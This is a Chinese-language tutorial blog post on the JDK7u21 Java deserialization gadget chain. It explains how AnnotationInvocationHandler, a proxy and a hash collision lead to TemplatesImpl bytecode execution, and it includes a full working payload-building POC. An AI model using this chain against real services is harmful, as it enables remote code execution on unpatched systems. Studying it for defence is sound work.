【java安全】原生反序列化利用链JDK7u21

文章目录

    • 【java安全】原生反序列化利用链JDK7u21
      • 前言
      • 原理
        • equalsImpl()
        • 如何调用equalsImpl()?
        • HashSet通过反序列化间接执行equals()方法
        • 如何使hash相等?
      • 思路整理
      • POC
      • Gadget
      • 为什么在HashSet#add()前要将HashMap的value设为其他值?

【java安全】原生反序列化利用链JDK7u21

前言

前面我们学习了使用第三方类:Common-CollectionsCommon-Beanutils进行反序列化利用。我们肯定会想,如果不利用第三方类库,能否进行反序列化利用链呢?这里还真有:JDK7u21。但是只适用于java 7u及以前的版本

在使用这条利用链时,需要设置jdk为jdk7u21

原理

JDK7u21这条链利用的核心其实就是AnnotationInvocationHandler,没错,就是我们之前学习过的那个类,位于:sun.reflect.annotation包下

equalsImpl()

我们看一下equalsImpl()getMemberMethods方法:

private Boolean equalsImpl(Object var1) {  //传入var1...} else {Method[] var2 = this.getMemberMethods();int var3 = var2.length;for(int var4 = 0; var4 < var3; ++var4) {Method var5 = var2[var4];  // var5是一个方法对象String var6 = var5.getName();Object var7 = this.memberValues.get(var6);Object var8 = null;AnnotationInvocationHandler var9 = this.asOneOfUs(var1);if (var9 != null) {var8 = var9.memberValues.get(var6);} else {try {var8 = var5.invoke(var1);  // 这里会调用var1这个对象的var5方法} ...return true;}}private transient volatile Method[] memberMethods = null;private Method[] getMemberMethods() {if (this.memberMethods == null) {this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {public Method[] run() {Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); //获得Method[]AccessibleObject.setAccessible(var1, true);return var1;}});}return this.memberMethods;}

equalsImpl()方法中明显会调用memberMethod.invoke(o) ,而memberMethod来自于this.type.getDeclaredMethods()

如果我们此时传入invoke()中的形参为TemplatesImpl对象,并且this.typeTemplatesImpl的字节码对象。

那么经过循环就会调用TemplatesImpl对象中的每个方法,就必然会调用newTransformer()getOutputProperties()方法从而执行恶意字节码了

如何调用equalsImpl()?

那么在哪里会调用equalsImpl()方法呢?invoke()

public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();//当执行invoke()方法时传入的方法名字为equals并且形参只有一个,类型为Object就会执行 equalsImpl()if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);  } else {assert var5.length == 0;if (var4.equals("toString")) {return this.toStringImpl();} else if (var4.equals("hashCode")) {return this.hashCodeImpl();} else if (var4.equals("annotationType")) {return this.type;} else {Object var6 = this.memberValues.get(var4); //cc1...}}}

我们之前cc1中是另this.memberValues等于一个LazyMap对象,让其调用get()方法,就可以执行cc1利用链了

但是这里我们不需要利用这里,我们需要注意这里:

//当执行invoke()方法时传入的方法名字为equals并且形参只有一个,类型为Object就会执行 equalsImpl()
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);  
}

我们应该思考这里的invoke()方法如何被调用,并且刚好使形参的第二个为equals、第三个参数的类型为Object对象

我们之前学习过动态代理,当一个代理对象Proxy调用一个方法时,就会调用构造该代理对象时传入的InvocationHandlerinvoke()方法,并且第二个参数为methodName方法名,invoke()第三个参数为调用方法时传入的参数

所以现在我们需要找到一个类,他在反序列化时,会间接的对Proxy对象调用equals()方法

HashSet通过反序列化间接执行equals()方法

HashSet可以做到这个效果,实现这个效果有一点复杂,我们先大致了解一下过程

image-20230803163945918

我们创建一个LinkedHashSet对象,当反序列化时会遍历每一个值,使用LinkedHashMap#put()方法,

put()方法中这几行是重点

int hash = hash(key);  //计算key的hash值
int i = indexFor(hash, table.length);  //这个i也是hash
for (Entry<K,V> e = table[i]; e != null; e = e.next) {Object k;if (e.hash == hash && ((k = e.key) == key || key.equals(k)))  //重点

这里会对key的hash与表中取出的e的hash做一个比较,如果这俩个hash相等,但是又不是同一个对象的化,就会执行keyequals()方法,传入参数k

这里我们假设keyProxy代理对象,并且这里传入的k是一个TemplatesImpl恶意对象,那么就会执行AnnotationInvocationHandlerinvoke()方法,从而执行equalsImpl()中的invoke()方法

最终调用了TemplatesImpl恶意对象的newTransformer()方法RCE

image-20230803165019843

我们怎么控制上面的key以及k=e.key呢?

其实我们上面已经分析了一下,这个key和k其实就是我们添加进入:LinkedHashSet中的元素而已

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

我们应该先添加TemplatesImpl对象,再添加Proxy代理对象,这样才好触发key.equals(k)

如何使hash相等?

我们上面其实默认了一个前提,那就是e.hash == hash 。其实这两个默认肯定不相等,我们需要一些小操作使其相等

我们先来看看HashMap中的hash()方法:

final int hash(Object k) {...h ^= k.hashCode();h ^= (h >>> 20) ^ (h >>> 12);return h ^ (h >>> 7) ^ (h >>> 4);}

这里自始至终只用到了一个变量k.hashCode(),其他的都相等,我们想要ProxyTemplateImpl的hash相等,其实只需要让k.hashCode()相等即可

TemplateImpl的 hashCode() 是一个Native方法,每次运 行都会发生变化,我们理论上是无法预测的,所以想让proxy的 hashCode() 与之相等,只能寄希望于 proxy.hashCode()

当我们调用proxy.hashCode()时,就会调用创建改代理对象时传入的InvocationHandler对象的invoke()方法,我们继续看看invoke()

public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();} else if (var4.equals("hashCode")) {return this.hashCodeImpl();}...}}

可见,会继续调用invoke()中的hashCodeImpl()方法:

private int hashCodeImpl() {int var1 = 0;Map.Entry var3;for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {var3 = (Map.Entry)var2.next();}return var1;}

重点是下面这一句,var1是计算累加和的,如果this.memberValues是一个HashMap类型并且其中只有一个元素,那么函数的返回值就变成了这个了:

127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
即:
127 * key.hashCode() ^ value.hashCode()

我们想让ProxyTemplateImpl的hash相等,并且TemplateImplhash不可控。

上述代码中如果我们令key.hashCode()=0,并且我们令value 等于TemplateImpl对象,那么这两个的hash就相等了,进而可以执行Proxy的equals()方法了

我们需要找到一个值的hashCode为0,是可以通过爆破来实现的:

public static void bruteHashCode()
{for (long i = 0; i < 9999999999L; i++) {if (Long.toHexString(i).hashCode() == 0) {System.out.println(Long.toHexString(i));}}
}

跑出来第一个是 f5a5a608 ,这个也是ysoserial中用到的字符串

思路整理

讲完了这么多我们理清一下思路

先创建一个恶意TemplatesImpl对象:

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

为了使ProxyTemplateImpl的hash相等,以便执行equals(),我们需要让AnnotationInvocationHandlerthis.memberValues等于一个HashMap并且只有一个元素:key为f5a5a608,value为:TemplateImpl对象,这样由AnnotationInvocationHandler组成的代理对象proxyTemplateImpl的hash就会相等

所以创建一个HashMap

// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

实例化 AnnotationInvocationHandler 对象

  • 它的type属性是一个TemplateImpl类
  • 它的memberValues属性是一个Map,Map只有一个key和value,key是字符串 f5a5a608 , value是前面生成的恶意TemplateImpl对象

实例化AnnotationInvocationHandler类,将map传参进去,经过构造函数设置为memberValues

由于equalImpl()方法会调用memberMethod.invoke(o),这个memberMethod来自this.type.getDeclaredMethods()所以需要设置typeTemplatesImpl的 字节码,这里构造函数会将第一个参数设为type

Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

在创建核心的LinkedHashSet之前,我们需要创建一个代理对象,将tempHandler给传进去

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

然后实例化:HashSet:

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates); 
set.add(proxy);

添加的先后顺序要注意一下,Proxy应该放在后面,这样才会调用Proxy#equals()

这样在反序列化触发rce的流程如下:

首先触发HashSet的readObject()方法,然后集合中的值会使用LinkedHasnMapput(key,常数)方法进行key去重

去重时计算元素的hashcode,由于我们已经构造其相等,所以会触发Proxy#equals()方法

进而调用AnnotationInvocationHandler#invoke()-> AnnotationInvocationHandler#equalsImpl()方法

equalsImpl()会遍历type的每个方法并调用。

因为this.typeTemplatesImpl字节码对象,所以最终会触发newTransformer()造成RCE

POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;public class JDK7u21 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());String zeroHashCodeStr = "f5a5a608";// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值HashMap map = new HashMap();map.put(zeroHashCodeStr, "foo");// 实例化AnnotationInvocationHandler类Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);// 为tempHandler创造一层代理Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);// 实例化HashSet,并将两个对象放进去HashSet set = new LinkedHashSet();set.add(templates);set.add(proxy);// 将恶意templates设置到map中map.put(zeroHashCodeStr, templates);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(set);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

Gadget

HashSet#readObject()LinkedHashMap#put(e, PRESENT)Proxy#equals(k)AnnotationInvocationHandler#invoke()equalsImpl()TemplatesImpl#newTransformer()...ClassLoader.defineClass()...Runtime.exec()

为什么在HashSet#add()前要将HashMap的value设为其他值?

我们追踪一下HashSet#add()方法,发现他也会调用HashMap#put()方法,这样就会导致Proxy提前触发equals()方法造成命令执行:

image-20230803181355838

我们测试一下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;public class JDK7u21 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());String zeroHashCodeStr = "f5a5a608";HashMap map = new HashMap();map.put(zeroHashCodeStr, templates);  //value再这里设为templatesConstructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);HashSet set = new LinkedHashSet();set.add(templates);set.add(proxy);}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

成功不经过反序列化就弹出计算器:

image-20230803181634928

所以我们需要先将HashMap的唯一一个元素的value设为其他值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/21788.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WSL1升级为WSL2

首先需要启用组件 使用管理员打开Powershell并运行 Enable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform启用后会要求重启计算机 从https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi获取WSL2 Linux内核更新包&#xff0c;…

HTML 是什么?它的全称是什么?

聚沙成塔每天进步一点点 专栏简介HTML是什么&#xff1f;HTML的全称是什么&#xff1f;写在最后 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入门之旅&#xff01;这个专栏是为那些对We…

ad+硬件每日学习十个知识点(16)23.7.27 (总线保持、lin报文、逻辑器件手册解读)

文章目录 1.总线保持是怎么实现的&#xff1f;有什么需要注意的&#xff08;驱动电流和电阻&#xff09;&#xff1f;2.LIN报文3.芯片datasheet的features、applications、description看完&#xff0c;应该能大致判断逻辑器件能否满足我们的要求。4.什么是逻辑器件的传输延时&a…

WiFi无线组网温湿度实时监测系统

近年来随着我国电子技术和无线通信技术的快速发展&#xff0c;远距离数据采集传输被应用到众多领域&#xff0c;由于事关环境安全和生命健康&#xff0c;受到了各行各界的关注。在温湿度监测中&#xff0c;目前采用的通信技术主要是4G、WiFi、以太网、LoRa等&#xff0c;今天&a…

docker删除容器(步骤详解)

要在Docker中删除容器&#xff0c;需要使用命令docker rm。 下面是详细步骤&#xff1a; 1. 首先&#xff0c;使用docker ps命令查看当前正在运行的容器。这个命令会列出所有正在运行的容器的ID、名称、状态等信息。 如果没有正在运行的容器可以通过docker ps -a 查看当前所…

[Qt]FrameLessWindow实现调整大小、移动弹窗并具有Aero效果

说明 我们知道QWidget等设置了this->setWindowFlags(Qt::FramelessWindowHint);后无法移动和调整大小&#xff0c;但实际项目中是需要窗口能够调整大小的。所以以实现FrameLess弹窗调整大小及移动弹窗需求&#xff0c;并且在Windows 10上有Aero效果。 先看一下效果&#xf…

zabbix监控mysql容器主从同步状态并告警钉钉/企业微信

前言&#xff1a;被监控的主机已经安装和配置mysql主从同步&#xff0c;和zabbix-agent插件。 mysql创建主从同步&#xff1a;http://t.csdn.cn/P4MYq centos安装zabbix-agent2&#xff1a;http://t.csdn.cn/fx74i mysql主从同步&#xff0c;主要监控这2个参数指标&#xf…

Python入门【​编辑、组合、设计模式_工厂模式实现 、设计模式_单例模式实现、工厂和单例模式结合、异常是什么?异常的解决思路 】(十七)

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱敲代码的小王&#xff0c;CSDN博客博主,Python小白 &#x1f4d5;系列专栏&#xff1a;python入门到实战、Python爬虫开发、Python办公自动化、Python数据分析、Python前后端开发 &#x1f4e7;如果文章知识点有错误…

弘扬“两弹一星”精神,勇攀科学技术高峰——道本科技商业大学党日活动圆满落幕

2023年8月2日&#xff0c;道本科技与商业大学携手举办了一场主题为“弘扬‘两弹一星’精神&#xff0c;勇攀科学技术高峰”的党日活动。本次活动旨在了解党领导下的中国核工业发展历程&#xff0c;传承和弘扬“两弹一星”精神&#xff0c;同时展示道本科技创新产品&#xff0c;…

ThinkPHP5使用phpqrcode生成二维码

生成指定跳转地址二维码图片&#xff1a; 首先将下载好的phpqrcode.php文件放到指定目录内&#xff08;我这里用的放在public/phpqrcode目录下&#xff09;&#xff0c;准备调用 之后控制器中调用 public function qrcode(){require_once "./phpqrcode/phpqrcode.php&quo…

opencv-33 图像平滑处理-中值滤波cv2.medianBlur()

中值滤波是一种常见的图像处理滤波技术&#xff0c;用于去除图像中的噪声。它的原理是用一个滑动窗口&#xff08;也称为卷积核&#xff09;在图像上移动&#xff0c;对窗口中的像素值进行排序&#xff0c;然后用窗口中像素值的中值来替换中心像素的值。这样&#xff0c;中值滤…

SHELL——备份脚本

编写脚本&#xff0c;使用mysqldump实现分库分表备份。 1、获取分库备份的库名列表 [rootweb01 scripts]# mysql -uroot -p123456 -e "show databases;" | egrep -v "Database|information_schema|mysql|performance_schema|sys" mysql: [Warning] Using …

游戏开发人员如何从 Splashtop 中受益

游戏开发时代在不断发展&#xff0c;远程办公、协作和高性能需求变得越来越普遍。因此&#xff0c;对复杂工具的需求不断增加&#xff0c;这些工具不仅可以满足这些需求&#xff0c;还可以为开发人员提供无缝体验。 其中一个工具是 Splashtop Business Access Performance&…

Redis持久化两种方案以及对比差异

1.1.RDB持久化 RDB全称Redis Database Backup file&#xff08;Redis数据备份文件&#xff09;&#xff0c;也被叫做Redis数据快照。简单来说就是把内存中的所有数据都记录到磁盘中。当Redis实例故障重启后&#xff0c;从磁盘读取快照文件&#xff0c;恢复数据。快照文件称为R…

2023网络安全学习路线 非常详细 推荐学习

首先咱们聊聊&#xff0c;学习网络安全方向通常会有哪些问题 1、打基础时间太长 学基础花费很长时间&#xff0c;光语言都有几门&#xff0c;有些人会倒在学习 linux 系统及命令的路上&#xff0c;更多的人会倒在学习语言上&#xff1b; 2、知识点掌握程度不清楚 对于网络安…

微信多开(双开三开均可,且不局限于微信,其他设备亦可)

1.鼠标右键“微信”&#xff0c;属性 如上图&#xff0c;自动选取的&#xff0c;别动&#xff0c;然后CtrlC,,,,结果如下 "C:\Program Files (x86)\Tencent\WeChat\WeChat.exe" 2.创建文本&#xff0c;电脑桌面空白处单击&#xff0c;新建&#xff0c;文本档案&#…

小白玩转浏览器开发者工具—F12(超详细)

目录 1、检查元素&#xff1a;&#x1f680; 2、修改样式&#xff1a;&#x1f6eb; 3、调试代码&#xff1a;&#x1f451; 4、网络分析&#xff1a;&#x1f682; 5、控制台输出&#xff1a;&#x1f681; 6、移动设备模拟&#xff1a;&#x1f3a8; 7、缓存管理&…

“单片机定时器:灵活计时与创新功能的关键“

学会定时器的使用对单片机来说非常重要&#xff0c;因为它可以帮助实现各种时序电路。时序电路在工业和家用电器的控制中有广泛的应用。 举个例子&#xff0c;我们可以利用单片机实现一个具有按钮控制的楼道灯开关。当按钮按下一次后&#xff0c;灯会亮起并持续3分钟&#xff…

FFmpeg常见命令行(一):FFmpeg工具使用基础

前言 在Android音视频开发中&#xff0c;网上知识点过于零碎&#xff0c;自学起来难度非常大&#xff0c;不过音视频大牛Jhuster提出了《Android 音视频从入门到提高 - 任务列表》。本文是Android音视频任务列表的其中一个&#xff0c; 对应的要学习的内容是&#xff1a;FFmpe…

无涯教程-Lua - 条件判断

if结构要求程序员确定一个或多个要由程序判断或测试的条件&#xff0c;以及要确定的条件为真的情况下要执行的一条或多条语句&#xff0c;如果条件为真&#xff0c;则执行指定语句&#xff0c;如果条件为假&#xff0c;则执行其他语句。 Lua编程语言假定布尔值 true 和 non-nil…